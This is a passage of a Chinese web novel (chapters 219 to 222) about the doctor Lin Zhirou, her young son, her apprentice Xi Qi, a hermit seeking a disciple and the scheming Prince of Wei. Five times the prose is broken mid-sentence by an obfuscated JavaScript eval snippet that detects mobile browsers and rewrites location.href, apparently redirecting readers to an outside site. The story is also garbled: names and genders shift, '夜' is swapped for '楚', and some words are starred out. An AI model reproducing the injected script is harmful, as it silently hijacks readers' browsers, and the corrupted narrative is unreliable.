“你这伤...”她蹙眉,“是吕奋扬下的手?” 麻西浪脸色一变,随即苦笑:“吕叔教训得是。” “吕叔?”林芷柔冷笑,“你们这些帮派中人,称兄道弟时一套,背后捅刀子又是一套。” 麻西浪低下头,不敢反驳。吕奋扬虽然表面上不问世事,但暗地里却将西七护得严严实实。这次麻西浪吃了大亏,想必是触到了吕奋扬的逆粼。 正说着,西七提着药材走了进来。他看到麻西浪时明显一愣,随即冷哼一声,径直走向药柜。 麻西浪的目光立刻追随着西七,眼中闪过复杂的情绪。他张了张嘴,似乎想说什么,却又不敢开口。 林芷柔将这一切看在眼里。这些帮派中人的恩怨,总是这般难解难分。 “西七。”她开口唤道,“把这副药给季麻帮主抓了。” 西七接过药方,面无表情地走进药房。药房内传来捣药的声音,麻西浪坐立不安,时不时往那边张望。 “麻帮主。”林芷柔忽然开口,“你今日来,恐怕不只是为了治伤吧?” 麻西浪身子一僵,随即苦笑:“林大夫果然明察秋毫。” “有话直说。” “我...我想请西七回河东帮。”麻西浪咬了咬牙,“帮主说了,只要他愿意回来,以前的事就既往不咎。” 林芷柔眼中闪过一丝冷意:“西七是我的徒弟,不是你们帮派的棋子。” “不是这样的!”麻西浪急忙解释,“我们是真心想请他回来。西七的医术在河东帮时就已经很出众,现在跟着林大夫学了这么久,想必更加...” “够了。”林芷柔打断道,“这件事,你还是问西七自己吧。” 正说着,西七端着药走了出来。他将药包递给麻西浪,语气冷淡:“一日三次,温水送服。” 麻西浪接过药包,却不急着离开。他看着西七,欲言又止:“西七,你...” “我不会回去的。”西七头也不抬,“请回吧。” 麻西浪脸色一变,还想说什么,却被林芷柔打断:“麻帮主,你的伤势不宜久站,还是早些回去休息为好。” 麻西浪无奈,只得拖着伤痕累累的身子离开。临走前,他还是忍不住回头看了西七一眼。 待麻西浪走后,诊室内一时沉默。西七低着头整理药材,林芷柔则若有所思地看着他。 “西七。”她轻声道,“你真的决定好了吗?” 西七手上的动作一顿:“师父,我...” “不用急着回答。”林芷柔温和道,“这是你自己的选择,我不会干涉。” 西七抬起头,眼中闪过感激之色。 一旁的阳阳早已按捺不住好奇心:“西七师兄,你以前是河东帮的人吗?为什么要离开啊?” “阳阳!”林芷柔轻喝,“这些事不是你该问的。” 阳阳吐了吐舌头,不敢再问。但他那双灵动的眼睛依然充满好奇,在西七和林芷柔之间来回打量。 夕阳西下,余晖透过窗棂洒进诊室。林芷柔看着眼前这一幕,心中五味杂陈。山云恩怨,世事难料,她只希望自己的徒弟们能走出一条属于自己的路。 “娘亲。”阳阳忽然凑了过来,“我真的知错了。” 林芷柔摸了摸他的头:“知错就好。记住,学武不是为了...” “为了保护自己和家人!”阳阳抢着说道。 林芷柔笑了,却在看到西七低垂的眼眸时,笑容渐渐收敛。她知道,西七心中的结,远没有这么容易解开。 楚幕降临,诊室 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15953458|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内的灯火渐次亮起。林芷柔望着窗外渐暗的天色,心中暗叹。这山云,终究是个是非之地。 林芷柔从诊桌抽屉里取出一支竹管,动作隐蔽地从锦囊里拿出止疼药。 她的手指轻轻摩挲着竹管,神色平静如水。 “喝了它。”她将药递给麻西浪,语气淡然中带着不容置疑。 麻西浪接过药,眼神在林芷柔脸上停留片刻。他仰头一饮而尽,喉结滚动,药汁顺着喉管流下。他抹了抹嘴角,眼底闪过一丝精明。 “大夫,我身无分文。”他低垂着头,声音带着几分可怜,“不如让我在医馆做工抵债如何?” 药堂内的空气似乎凝固了一瞬。林芷柔还未开口,西七已经从后院冲了出来。他的脚步声在木质地板上格外响亮,眼中带着显而易见的不悦。 “滚远点,这里不需要你。”西七挡在林芷柔面前,语气冰冷。 麻西浪缩了缩脖子,却不肯轻易放弃:“我是在跟林大夫说话。”他的声音低沉,眼神闪烁不定,像是在打量什么。 林芷柔注意到他的目光不时扫向药架,心中暗自警惕。她整理了一下衣袖,声音清冷:“没钱就算了,就当我做善事。别在这里胡搅蛮缠,否则我不介意再教训你一次。”她顿了顿,“这里不是收容所。” 麻西浪的脸色微微发白,他能感觉到药效正在发挥作用,疼痛逐渐消退。他暗自咬牙,目光在林芷柔身上停留许久,最终还是悻悻离去。 木门被推开又合上,发出轻微的吱呀声。西七这才松了一口气,转身看向林芷柔:“大夫,这人不简单。” 林芷柔点点头,正要说话,却听见后院传来一声叹息。 楚星澜坐在后院的石凳上,望着天边的白云发呆。院子里的老槐树投下斑驳的树影,将他的身影切割成碎片。他想起那个自称青霞山主人的老头,心中烦闷。 “真是个不讲理的老头子。”他小声嘀咕着,“阳阳还这么小,怎么能离开家人?” 西七默默收拾着院子里的落叶,竹扫帚在地上发出沙沙的声响。他将落叶扫进林大夫称作“垃圾桶”的竹篓里,动作轻柔而有序。 第二百一十九章 云** 药堂内,云**仍在喋喋不休。他的声音带着几分矜持的傲然:“林大夫,我可是青霞山的主人,玄冥国主多次邀请我担任国师,都被我拒绝了。”他捋了捋胡须,“要是天玄皇帝知道我在这里,肯定会亲自来拜访。” 林芷柔忍不住翻了个白眼,阳光下她的睫毛投下一片细小的阴影:“是吗?那您老人家还真是厉害,就是少了把拂尘,不然更像神仙了。” 阳阳听了忍俊不禁,赶紧用小手捂住嘴巴,但清脆的笑声还是从指缝间溢出。阳光照在他圆润的脸蛋上,映出一片健康的红润。 云**蹲下身,和蔼可亲地问道:“小家伙,你笑什么?是不是不相信我的本事?”他的目光落在阳阳身上,带着几分探究,“对了,你的力气怎么会如此强大?” “这是遗传我娘亲的。”阳阳骄傲地指着林芷柔,小脸上写满了自豪。 “那你的点穴绝技又是哪个教的?”云**追问道,眼中闪烁着智慧的光芒。 林芷柔竖起耳朵,她也很好奇这个问题。阳光下,她的手指无意识地摩挲着药柜的边缘。 阳阳偷偷看了娘亲一眼,见她没有阻止的意思,这才说道:“是我自己学的。”他的声音清脆悦耳,“娘亲是大夫,我从小就认识人体穴位。后来在一本画着很多图的书上学会的。” 林芷柔心中了然,那定是锦囊里的古籍,想必是萤萤给他看的。药堂内飘着淡淡的药香,她的目光落在儿子身上,眼神柔和。只是她一直想不通,为什么儿子也能使用她的锦囊。 “就看图学会的?”云**惊讶地瞪大眼睛,胡须微微抖动,“你这么小就能看懂?” “我是看图,又不是看字。”阳阳一脸嫌弃,小眉头皱起,“老爷爷,您怎么这么笨?” 云**不但不恼,反而笑得更开心了。他的笑声在药堂内回荡:“对对对,我徒弟真是聪明。那你还会什么本事?给师父展示展示?” “我掌握的可多了。”阳阳压低声音,神秘兮兮地说道,“不过娘亲说不能随便给人看。” 阳光透过窗棂,在地上投下一道道光影。阳阳坐在小凳子上,晃动着小腿。他知道很多别人不知道的东西,比如电视、洗衣机、汽车、飞机。但娘亲说这些东西还没有被发明出来,说出去会被当成妖怪。 这些秘密,他谁都不告诉,连阿奶都不说。小小的心事藏在心底,像是一颗埋在土里的种子。 “那你告诉师父听听?”云**循循善诱,目光温和。 “不行。”阳阳摇头,小辫子跟着晃动。 “为什么呀?” “这是我的秘密本事,娘亲说了不能随便说。”阳阳嘟着小嘴,眼神坚定,“就算你以后真当了我师父也不能说。” 云**摸着下巴笑道:“是吗?你这唬人的本事倒是不小,连师父都被你给骗了。” 药堂外传来一阵脚步声,打断了他们的谈话。林芷柔抬头望去,只见一个身着青衫的男子站在门口,手里拿着一封信笺。 “林大夫,这是城主府送来的信。”男子恭敬地将信递上。 林芷柔接过信,拆开看了看,眉头微微皱起。信中说城主夫人病重,请她明日一早入府诊治。 “知道了。”她将信收好,“你回去告诉城主,明日我会准时到府。” 男子躬身告退。林芷柔望着他离去的背影,心中思绪万千。城主府的事向来复杂,这次请她去,恐怕没那么简单。 云**看出她的心事,轻声道:“林大夫若是不放心,不如让我陪你一起去?” 林芷柔摇摇头:“不必了。”她整理了一下药柜,“我自己去就好。” 阳阳仰头看着娘亲,大眼睛里满是担忧:“娘亲,我也要去。” “不行。”林芷柔蹲下身,轻轻摸了摸儿子的头,“你乖乖在家,等娘亲回来。” 夜色渐渐降临,药堂内亮起了灯火。林芷柔坐在案前,整理着明天要带的药材。西七和楚星澜在后院忙碌,准备晚饭。 阳阳坐在娘亲身边,小手托着下巴,看着窗外的月亮。他知道娘亲很厉害,可还是忍不住担心。云**坐在一旁,时不时打量着这对母子,眼中闪过深思。 夜风轻轻吹过,带来远处的更声。林芷柔抬头望了望天色,心中暗自盘算着明天的事。她知道,这个楚晚注定难眠。 阳阳站在院子里,眼神无奈地看着云**。阳光透过树叶的缝隙洒落下来,在地上投下斑驳的光影。 这个自称神仙的老头,从早上开始就一直跟着他,说什么要收他为徒。云**一身青色道袍,须发皆白,看起来仙风道骨,但那双眼睛里闪烁的狡黠光芒,却让人不敢轻易相信他的话。 “小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15963571|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娃娃,你可知道为师在修道界的地位?”云**捋着胡子,脸上浮现出一抹得意的笑容,“青霞山上,那可是数一数二的高人。” 阳阳懒得理他,转身就要走。院子里的青石板被太阳晒得发烫,他小心翼翼地踮着脚尖,生怕被烫到。 云**眼疾手快,伸手捏了捏阳阳的小脸蛋。那细腻的触感让他爱不释手,忍不住又捏了两下。 阳阳立刻竖起小手指,在云**面前晃了晃。他皱着眉头,一副小大人的模样,那警告的意味不言而喻。 “哈哈哈!”云**被逗乐了,笑得胡子一抖一抖的,“小家伙,你这是在威胁为师吗?” “我才不要你这样的师父。”阳阳撇了撇嘴,眼睛里闪过一丝不耐烦。 他转身朝后院走去,脚步轻快。娘亲进去好一会儿了,也不知道是不是进了锦囊。他已经很久没见到萤萤了,心里想得紧。 后院的景象让他愣在原地。西七正跪在林芷柔面前,低着头一言不发。他身上的衣服有些破旧,但洗得很干净,显然是个爱干净的人。 楚星澜坐在一旁的石凳上,手里把玩着一根草茎,一脸看好戏的表情:“西七,你是不是傻?我嫂子是大夫,又不是武林高手,你拜师做什么?” 林芷柔冷着脸,眉头微皱:“起来吧,我可不会收你做徒弟。”她顿了顿,语气稍微缓和了些,“不过若你真有心,倒是可以看看你的天分如何。” 西七如蒙大赦,连忙站起身。他的动作有些笨拙,显然跪得时间太久,腿都麻了。 云**不知何时也跟了进来,他看了西七一眼,眼中闪过一丝异色:“你命格奇特,虽幼失怙恤,但终得贵人相助。这命相...” “用得着你说?”西七冷冷打断他的话,眼神中带着几分抗拒。 楚星澜顿时不乐意了,她从石凳上跳起来:“好心给你看相,你还这态度?要我说,该好好教训教训你。” 阳阳赶紧拉住楚星澜的衣袖:“姑姑,你这样不对,女孩子要温柔。”他的小脸上写满了认真。 林芷柔听着这一番对话,只觉得头疼。她揉了揉太阳穴,悄悄退出后院。这些现代用语,迟早会露馅,看来得限制儿子看电视了。 后院的争吵声渐渐远去,林芷柔走进自己的房间,轻轻关上门。她需要好好想想接下来该怎么办。 第二百二十章 魏王府 与此同时,魏王府内。 司马川正激动地来回踱步,他的脚步声在空旷的大殿内回响。阳光透过窗棂照进来,在地上投下细密的花纹。 “你说青霞山的云**在仁心医馆?”他停下脚步,转身看向跪在地上的探子。 “是的王爷,他似乎要收林大夫的儿子为徒。”探子低着头,不敢直视司马川的眼睛。 司马川眼中精光闪烁,他走到窗前,望着远处的街市。这可是难得一遇的机会。云**向来独来独往,连玄冥国主邀请他当国师都被拒绝了。 若能将此人拉拢到自己这边... 想到这里,司马川已经按捺不住,决定今晚就去仁心医馆一趟。他的手指轻轻敲击着窗框,发出规律的声响。 至于楚星河那边,他派出的幽冥之刃迟迟没有消息传回,也不知是否得手。若楚星河一死,林芷柔就少了一个靠山。到时候,再加上云**的助力,他的大业可期。 只是**,此刻幽冥之刃的**们正在暗处叫苦不迭。 深山老林中,几个黑衣人蹲在树上,远远望着楚家的宅院。院子里,几只巨狼正悠闲地晒着太阳,偶尔抬头嗅嗅空气,警惕地环顾四周。 “头儿,这任务怎么做?”一个年轻的**小声问道。 “闭嘴!”为首的黑衣人低声呵斥,“楚家父子武功高强,又有狐群守护,我们根本无从下手。” 树下,一只巨狼突然竖起耳朵,朝他们的方向看来。几个**顿时屏住呼吸,大气都不敢出。 司马川更不知道,他心心念念想拉拢的林芷柔,正是他弟弟李远龙最害怕的人。 此刻,李远龙正坐在自己的房间里,看着自己那条废了的腿,眼中闪过一丝恐惧。那是他这辈子最大的耻辱,也是最深的噩梦。 他永远忘不了那天的场景。林芷柔站在他面前,手里拿着玉针,眼神冰冷得像是寒冬腊月的风。 “你既然喜欢**别人的性命,那就尝尝这种痛苦。”她的声音很轻,却让他浑身发冷。 然后,他的腿就废了。 李远龙摸了摸自己的腿,手指微微发抖。他知道,只要林芷柔想,随时都能让他生不如死。 夜色渐渐降临,仁心医馆里却还是灯火通明。 林芷柔站在窗前,看着院子里嬉戏的阳阳和西七。云**坐在一旁,时不时指点两句,看起来倒真有几分仙风道骨的模样。 她叹了口气,转身走向药房。今晚注定是个不平静的楚晚,她得做好准备。 夜色渐浓,仁心医馆却灯火通明。 后院的灶间里,林芷柔手中的菜刀有节奏地敲击着案板。油烟缭绕中,她的目光微微恍惚。她本不想管西七和云**的死活,可怀老头一把年纪了,她实在狠不下这个心。 刀光闪过,青菜被切成均匀的段。案板上的声响清脆而规律,仿佛在诉说着什么。林芷柔的动作一顿,目光落在案板上的菜叶上,思绪不由自主地飘远。 记忆中的画面浮现,那是她还在林府时的情景。厨房里,婆婆和姨娘们忙碌的身影交错,香气四溢。那时的她,从未想过自己也会有下厨的一天。 “滋啦”一声,油锅里炸开的声响将她拉回现实。林芷柔手腕一抖,锅铲翻炒间,肉片的香气四溢。灶火映红了她的侧脸,汗水顺着额角滑落。 “这香味......”云**循着香气来到灶间,眼睛亮晶晶的,“林大夫,没想到你还会做饭。” 林芷柔头也不抬,专注地翻炒着锅中的菜:“想吃就老实等着。” 西七也被香气吸引过来,站在门口探头探脑。看着那个穿着男装的背影,他心中颇为感慨。这位林大夫,明明是个女子,却总是一副男儿装扮。可此刻在灶间忙碌的样子,又让人觉得分外柔和。 “林大夫,需要我帮忙吗?”云**凑到灶台边,眼巴巴地看着锅里的菜。 “去烧火。”林芷柔简短地说,目光依旧专注在锅中。 云**立刻蹲下身子添柴,火光映照在她白皙的脸上。她看着锅里翻炒的菜,忍不住咽了咽口水,悄悄伸出筷子。 “别偷吃。”林芷柔头也不回地警告,“还没好。” 云**讪讪收回筷子,嘴角却挂着笑意:“林大夫真是火眼金睛。” 一锅菜炒好,林芷柔又开始煮饭。她将云**赶到一边,自己掌控火候。灶火的温度需要恰到好处,这是她从婆婆那里学来的经验。 “明天开始,饭菜让西七去我家里拿。”林芷柔一边添柴一边说,“今天是特例。” “那多不好意思......”云**嘴上这么说,手上却已经夹起一块肉塞进嘴里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15963572|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“嗯!好吃!林大夫的手艺真是绝了!” 西七在一旁笑道:“白姑娘,你这话说得,好像林大夫以前没给你做过饭似的。” 云**正要说什么,外面突然传来脚步声。 “林大夫,听说你这里来了贵客?” 是魏王司马川的声音。 林芷柔的动作微微一顿,眼神瞬间冷了下来。她转身看向门口,只见司马川一身便装,若不是熟悉,还真认不出这就是高高在上的魏王。 “魏王深楚来访,所为何事?”林芷柔的声音平静,却带着一丝不易察觉的警惕。 “自然是来见张道长。”司马川目光落在云**身上,嘴角挂着若有若无的笑意。 楚星澜站在一旁,眼中满是不喜。他看着司马川的目光中带着戒备,身体不自觉地向林芷柔靠近了一步。 阳阳躲在林芷柔身后,小手紧紧抓着母亲的衣角,小声嘀咕:“讨厌的人来了......” 林芷柔安抚地摸了摸儿子的头,对司马川道:“白老在后院,王爷请自便。” 看着司马川离去的背影,林芷柔眼中闪过一丝雨柳。这位魏王,来得可真是时候。看来她的一举一动,都在别人的监视之下。 “嫂嫂......”楚星澜欲言又止。 林芷柔摇摇头:“先吃饭吧。” 饭菜很快就准备好了。林芷柔将饭菜端上桌,香气四溢。云**迫不及待地坐下,夹起一块肉放入口中,满脸享受。 “慢点吃。”林芷柔给阳阳盛了一碗饭,“小心烫。” 阳阳乖巧地点点头,小心翼翼地吹着饭。楚星澜看着这一幕,眼中闪过一丝温柔。 西七坐在一旁,默默地吃着饭。他时不时抬头看看门外,似乎在担心什么。 “别看了。”林芷柔淡淡地说,“他们不会这么快回来。” 云**放下碗筷,神色有些凝重:“林大夫,魏王他......” “不用担心。”林芷柔打断她的话,“吃你的饭。” 夜色更深了,后院传来隐约的说话声。林芷柔的目光微微闪动,手中的筷子顿了顿。她知道,这个楚晚注定不会平静。 魏王的到来,就像一块石头投入平静的湖面,激起层层涟漪。而她,必须保持冷静,不能让任何人看出端倪。 第二百二十一章 阳阳的秘密 阳阳站在医馆的后院里,仰头望着天空。他眨了眨大眼睛,目光不时瞟向院子里来来往往的陌生人。 “娘亲说那是她们的秘密。”阳阳小声嘀咕着,手指不自觉地绞着衣角。那个神奇的锦囊里有好多好吃的,香甜的蛋糕、松软的面包,还有冰凉的牛奶。可是自从来到帝都,他就再也没能进去过那个地方。 一阵微风拂过,带来药草的清香。阳阳抬头看向不远处正在晾晒药材的林芷柔,小脸上浮现出一丝担忧。 林芷柔察觉到儿子的目光,放下手中的药材走了过来。她蹲下身,轻轻摸了摸儿子的脑袋:“在想什么呢?” “娘亲......”阳阳踌躇了一下,压低声音道,“我想那个地方了。” 林芷柔神色微凝,随即露出温柔的笑容:“记住娘亲说的话,这是我们的秘密,不能告诉任何人。” “嗯!”阳阳重重点头,小手握成拳头,“我知道的,不能让别人知道,否则娘亲可能会有危险。” 林芷柔看着儿子认真的模样,心中既欣慰又心疼。才这么小就要背负这样的秘密,她多希望阳阳能像其他孩子一样无忧无虑地长大。 “澜儿,”林芷柔朝院子另一边招手,“带阳阳先回去吧,我这边还得忙一会儿。” 楚星澜应声走来,还未开口,阳阳就突然扑进林芷柔怀里,在她脸上“吧唧”亲了一口,然后撒丫子就跑。 “这孩子......”林芷柔摸着脸上湿漉漉的口水印,无奈地笑了。都是看多了锦囊里的电视,学坏了。 后院的偏房里,一场别开生面的“饭局大战”正在上演。 云**和西七面对面坐着,桌上摆着几碟家常小菜。两人你夹我夹,争抢着碗里的菜,场面颇为滑稽。 云**的筷子仿佛装了马达,飞快地夹着菜往嘴里送。他吃相并不优雅,但那股子豪迈劲儿倒是让人眼前一亮。 西七眯着眼睛,一言不发地跟着抢。他虽然年轻,但在这场较量中明显落了下风。最后剩下的菜汤,被云**眼疾手快地倒进了碗里。 “老头子,你这吃相......”西七放下筷子,眼神里写满了不服,“我活这么大,还没见过比你更快的。” 云**得意地扬起下巴:“年轻人,这叫经验。” 就在这时,门“吱呀”一声被推开。司马川带着随从走了进来,正好撞见这一幕。 云**脸上的笑意瞬间收敛,眉头紧皱:“你来干什么?谁让你进来的?” 司马川的随从刚要开口解释,就被他抬手制止。只见他恭敬地行礼:“天玄魏王司马川,拜见云**。” “免了!”云**连看都懒得看他一眼,继续扒拉着碗里的饭,“那老头可不爱和皇室的人打交道,你回去吧。” 司马川的脸色一阵青一阵白。他堂堂魏王,放下身段来拜访,却被如此冷遇。屋内的气氛顿时变得凝重起来。 “你打算抓住老头?”云**忽然抬头,目光如炬,“就凭你?别说你是魏王,就算你老子来了也没用。” 司马川心头一震:“你会读心术?” “不会。”云**嗤笑一声,“只是有些人的心思,太好猜了。” 林芷柔站在门边,默默地看着这一幕。这个云**,果然不简单。连魏王都敢这么呛,看来真是有两下子。如果让阳阳拜他为师,或许是个不错的选择。虽然要离开帝都,但至少能远离是非。 云**放下碗,打了个响亮的饱嗝:“年轻人,劝你一句,命中注定的总会有,命中无缘就别强求。你还没资格去找老头。” 司马川的脸色更加难看。这老头分明是在讽刺他不是嫡子,不该觊觎那个位置。他强压着怒气,嘴角勾起一抹冷笑:“怀神仙说笑了。” “放心,老头不会掺和你们皇室的破事。”云**伸了个懒腰,目光转向林芷柔,“老头只想带走我的乖徒儿,其他的不关心。林大夫,今晚我打算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15968856|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住在哪里?” 林芷柔走进来,领着他去了西七的房间:“您跟西七一起住。想住就住,不想住就得自己想办法。” “住,当然住。”云**打着哈欠进了屋,“老头累**。”说完,他“砰”地关上了门。 司马川站在院子里,脸上带着若有若无的笑,心里却已经气得快要炸开。他盯着紧闭的房门,眼底闪过一丝阴霾。 夜色渐深,医馆后院的灯火一盏盏亮起。林芷柔站在廊下,望着天边的残月,心事重重。让阳阳拜师的事情,还需要从长计议。 西七的房间里,云**躺在床上,眯着眼睛假寐。他看似随意,实则将周围的一切都尽收眼底。 “老头子,”西七坐在桌边擦拭着药碗,“你真打算收那小子为徒?” 云**睁开眼,目光深邃:“那孩子不简单。” “可是......”西七欲言又止。 “你是想说魏王的事?”云**冷笑一声,“他们皇室的争斗,跟老头有什么关系?老头只看重那孩子的天赋。” 西七放下药碗,神色凝重:“你知道的不止这些吧?” 云**没有回答,只是翻了个身,背对着西七。房间里陷入沉默,只有远处传来几声蛙鸣。 第二天一早,阳阳就被林芷柔叫醒。小家伙揉着惺忪的睡眼,看到云**时顿时清醒了。 “娘亲说你要收我为徒?”阳阳仰着小脸,眼睛亮晶晶的。 云**蹲下身,认真地看着他:“想学吗?” 阳阳点点头,又摇摇头:“想学,但是......”他回头看了眼林芷柔,“我不想离开娘亲。” “傻孩子。”林芷柔蹲下身,轻轻抱住儿子,“娘亲不会离开你的。” 云**站起身,负手而立:“你可以考虑考虑,老头不着急。” 就在这时,外面传来一阵嘈杂声。西七匆匆跑进来:“不好了,魏王的人把医馆围了!” 第二百二十二章 威胁 魏王离开后,林芷柔站在门口,目送他的背影消失在夜色中。她的手指无意识地摩挲着门框,指尖传来的粗糙触感让她稍稍回神。 夜风吹起她的发丝。她的眼神渐渐冷了下来,嘴角勾起一抹讥讽的弧度。 西七依旧坐在原处,一动不动,仿佛一尊雕塑。他的目光始终停留在面前的白米饭上,直到确认所有人都离开,才慢慢端起碗,一口一口地吃着。米粒在他的嘴里嚼得很细,仿佛在品尝什么珍馐美味。 “西七,”林芷柔转身看向他,“你觉得魏王此次来访,是何用意?” 西七放下碗,抬起头。他的眼神平静如水,“主子,魏王不是个简单的人。” “是啊,”林芷柔走到桌前坐下,手指轻轻敲击着桌面,“他今日说的每一句话,恐怕都别有深意。” “主子要当心。”西七的声音依旧平静,但眉头却微微皱起。 林芷柔站起身,整理了一下衣袖,“我先回去了。你......”她顿了顿,“早些休息。” 西七点头,目送林芷柔离开。等她的脚步声完全消失,他才重新拿起碗,继续慢条斯理地吃着饭。 林芷柔回到家时,饭菜的香气已经飘满了整个院子。 “柔柔回来了!”顾馨巧笑着迎了上来,手里还拿着一条温热的帕子,“快洗手吃饭。这天儿冷,先擦擦手。” 赵氏也从厨房里端出最后一盘菜,“今天炖了猪肉土豆,还炒了蒜苗肉片。我特意多放了些姜,暖和。” 林芷柔看着桌上热气腾腾的饭菜,心里涌起一丝暖意。这些日子以来,顾馨巧和赵氏总是变着法子给她做好吃的。即便家道中落,她们也从未抱怨过什么。 天气寒冷,新鲜蔬菜难得。好在她想了个办法,在灶台边摆了几个木箱,种了些蒜苗和小葱。烧火的温度让这些嫩芽很快就冒了出来,青翠欲滴。赵氏总说,这些小菜虽然不值钱,但胜在新鲜。 “娘,这蒜苗炒得真香。”楚星澜夹了一筷子菜放进碗里,“比外面酒楼的还要好吃。” 顾馨巧笑着摇头,“你这孩子,就会说好听的。” 饭桌上,林芷柔看着正在专心吃饭的阳阳,心中一阵酸涩。小家伙才两岁,却已经能自己拿筷子了。虽然动作还有些笨拙,但那认真的模样,让人忍不住想要疼爱。 “娘,我有个事情想和您聊聊。”她轻声开口,手指不自觉地握紧了筷子。 顾馨巧的筷子顿在半空,神色紧张,“是不是...是不是要送阳阳走?” 小小的阳阳抬起头,黑葡萄般的大眼睛望着母亲,眼中满是不舍与期待。他虽然年纪小,但似乎已经察觉到了什么。 “夫人,”赵氏轻声劝道,“柔柔必定是为了阳阳好。这孩子天资聪颖,若是能跟着名师学艺......” “可他才两岁啊!”顾馨巧打断了赵氏的话,声音有些哽咽,“这么小的孩子,怎么能离开娘亲?” 楚星澜红着眼圈,“嫂嫂,是不是因为魏王?他今天来......” 林芷柔没有直接回答,而是看向阳阳,“儿子,你愿意跟着那位老爷爷去学本事吗?” 阳阳放下碗筷,小脸上露出远超年龄的成熟,“娘亲,我知道你是为我好。”他停顿了一下,“而且,我也想学本事。” 这句话让林芷柔心如刀绞。她的手在桌下微微发抖,指甲深深掐进掌心。 她何尝愿意送走年仅两岁的儿子?可帝都这潭水太深,魏王这个人太过阴险。若是有朝一日他拿阳阳来要挟,她将万劫不复。 送走阳阳,让他在青霞山上学艺,或许是最好的选择。那里远离帝都的纷争,也有最好的师父教导。 “阳阳,”林芷柔强忍着心痛,“你跟着师父去青霞山,好好学本事。等娘亲把家里的事情处理完,就去看你。” “那我能带只鹰隼吗?”阳阳小声问道,“这样就能经常收到娘亲的信了。” “当然可以。”林芷柔摸了摸儿子的头,“娘亲让西七帮你挑一只最好的。” “还有...还能带些仙露泉吗?”阳阳眨着大眼睛,“我听说山上很冷,仙露泉能暖身子。” 林芷柔点头,“娘亲都给你准备好。” 顾馨巧在一旁抹着眼泪。若是往日,她断然不会同意送走这么小的孙儿。可如今家道中落,帝都局势诡谲,送走阳阳反倒是最安全的选择。 “祖母,”阳阳走到顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15968857|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 馨巧身边,小手轻轻擦拭着她的眼泪,“我不在家的时候,你要照顾好自己和娘亲。” 这稚嫩的安慰,让满屋子的人都红了眼眶。 赵氏起身去厨房,声音有些哽咽,“我去热些茶来。” 楚星澜低着头,肩膀微微颤抖。她想说些什么,却又不知从何说起。 林芷柔低头扒着饭,不敢看儿子。她知道,这个决定有多残忍,可为了保护这个小生命,她别无选择。 魏王,你最好祈祷永远不要落在我手里。 林芷柔在心底暗暗发誓。她的筷子握得更紧了,指节发白。 夜色渐深,院子里的梅花在风中轻轻摇曳。一片花瓣飘落,正好落在窗棂上,如同一滴凝固的泪。 饭后,林芷柔独自坐在房间里,借着烛光整理阳阳要带走的东西。 几件厚实的冬衣,一些常用的药材,还有装满仙露泉的玉瓶。她的手指轻轻抚过每一件物品,仿佛在抚摸儿子的脸庞。 门外传来轻轻的脚步声,是赵氏端着热茶来了。 “柔柔,喝些茶暖暖身子。”赵氏将茶盏放在桌上,欲言又止。 林芷柔抬头看她,“姨娘有话就说。” “我只是担心......”赵氏叹了口气,“魏王今日来访,怕是没安好心。你要当心。” “我知道。”林芷柔端起茶盏,茶香袅袅升起,“正因为知道,才更要送走阳阳。” 赵氏点点头,“我明白。只是......”她顿了顿,“只是阳阳这么小,要是想家了怎么办?” 